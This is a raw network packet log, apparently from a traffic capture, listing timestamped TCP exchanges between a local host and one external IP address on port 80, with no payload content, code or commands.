Nov 24, 2024 14:24:22.609412909 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.609457970 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.610240936 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.610328913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.610382080 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.611305952 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.611449003 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.611505032 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.612093925 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.612147093 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.612219095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.613105059 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.613158941 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.613164902 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.614006996 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.614058018 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.614227057 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.614921093 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.614969015 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.615005016 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.615050077 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.615827084 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.615930080 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.615973949 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.616749048 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.616879940 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.616930008 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.617688894 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.617734909 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.617840052 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.618623018 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.618664980 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.618729115 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.619364023 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.619522095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.619642019 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.619683027 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.620449066 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.620553017 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.620595932 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.621392965 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.621438026 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.621522903 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.622307062 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.622354031 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.622442007 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.623079062 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.623259068 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.623368979 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.623424053 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.624176979 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.624294043 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.624350071 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.625097990 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.625149012 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.625243902 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.625458002 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.626588106 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.626602888 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.626648903 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.626974106 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.627022028 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.627074003 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.627955914 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.628010035 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.628036976 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.628861904 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.628916979 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.629065990 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.629770994 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.629812956 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.629868031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.629909992 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.630695105 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.630803108 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.630848885 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.631613016 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.631721020 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.631778002 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.632585049 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.632635117 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.632718086 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.633501053 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.633553028 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.633591890 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.634553909 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.634601116 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.634605885 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.634646893 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.635456085 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.635632992 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.635678053 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.636260986 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.636404037 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.636493921 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.637191057 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.637243986 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.637304068 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.637351036 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.638154984 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.638196945 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.638252974 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.638298988 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.639066935 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.639113903 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.639168024 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.639210939 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.639991999 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.640037060 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.640100956 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.640145063 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.640882015 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.640928984 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.641012907 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.641083002 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.641854048 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.641910076 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.641943932 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.641987085 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.642786026 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.642832994 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.642894030 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.642934084 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.643699884 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.643745899 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.643810034 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.643862009 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.644628048 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.644673109 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.644735098 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.644777060 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.645546913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.645592928 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.645648003 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.645690918 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.646503925 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.646550894 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.646622896 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.646665096 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.647459984 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.647507906 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.647542953 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.647584915 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.648405075 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.648452044 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.648472071 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.648519993 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.649403095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.649447918 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.649482012 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.649524927 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.650237083 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.650300026 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.650388002 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.650432110 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.651205063 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.651292086 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.651304960 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.651324034 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.652089119 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.652136087 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.652196884 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.652239084 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.652949095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.652996063 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.805459976 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.805511951 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.805648088 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.805692911 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.805836916 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.805885077 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.805958033 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.806030035 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.806566000 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.806624889 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.806643963 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.806682110 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.807502985 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.807569027 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.807611942 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.808408976 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.808459044 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.808528900 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.808576107 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.809340954 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.809386969 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.809528112 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.809580088 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.810302019 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.810359955 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.810373068 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.810422897 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.811216116 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.811264038 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.811343908 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.811392069 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.812160015 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.812222958 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.812254906 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.812309980 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.813057899 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.813107967 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.813146114 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.813343048 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.814121008 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.814192057 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.814230919 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.814277887 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.815089941 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.815150023 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.815180063 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.815256119 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.815913916 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.815958977 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.815992117 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.816035986 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.816849947 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.816930056 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.816979885 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.817022085 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.817713022 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.817759037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.817827940 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.817878008 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.818635941 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.818677902 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.818742037 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.818787098 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.819574118 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.819621086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.819690943 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.819750071 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.820509911 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.820554972 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.820627928 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.820691109 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.821419001 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.821465015 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.821480036 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.821527004 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.822355032 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.822412014 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.822458982 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.822505951 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.823282957 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.823379993 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.823430061 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.824239016 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.824285030 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.824342012 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.824384928 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.825144053 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.825191975 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.825261116 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.825303078 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.826078892 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.826157093 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.826183081 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.826235056 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.827032089 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.827079058 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.827116013 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.827158928 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.827954054 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.828006029 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.828057051 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.828104973 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.828860044 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.828911066 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.828943968 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.828985929 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.829798937 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.829845905 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.829858065 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.829905033 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.830823898 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.830905914 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.830951929 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.831650019 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.831724882 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.831742048 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.831788063 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.832585096 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.832659960 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.832741976 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.832782984 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.833508015 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.833559990 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.833595991 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.833653927 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.834444046 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.834494114 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.834580898 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.834625959 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.835434914 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.835480928 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.835531950 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.835573912 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.836309910 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.836380005 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.836414099 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.836529016 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.837259054 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.837302923 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.837387085 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.837430000 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.838150024 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.838198900 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.838254929 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.838330984 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.839133024 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.839180946 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.839205980 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.839245081 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.840044975 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.840089083 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.840158939 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.840203047 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.840955973 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.841010094 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.841063023 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.841108084 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.841875076 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.841918945 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.841964960 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.842006922 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.842817068 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.842865944 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.842895985 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.842945099 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.843816996 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.843863010 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.843880892 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.843938112 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.844685078 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.844732046 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.844794989 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.844845057 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.845621109 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.845669985 CET	49778	80	192.168.2.4	31.41.244.11
